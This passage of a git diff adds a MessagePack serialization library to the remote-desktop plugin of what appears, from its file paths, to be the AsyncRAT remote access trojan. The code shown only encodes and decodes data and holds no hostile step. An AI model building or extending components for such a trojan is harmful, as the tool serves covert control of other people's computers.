b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + 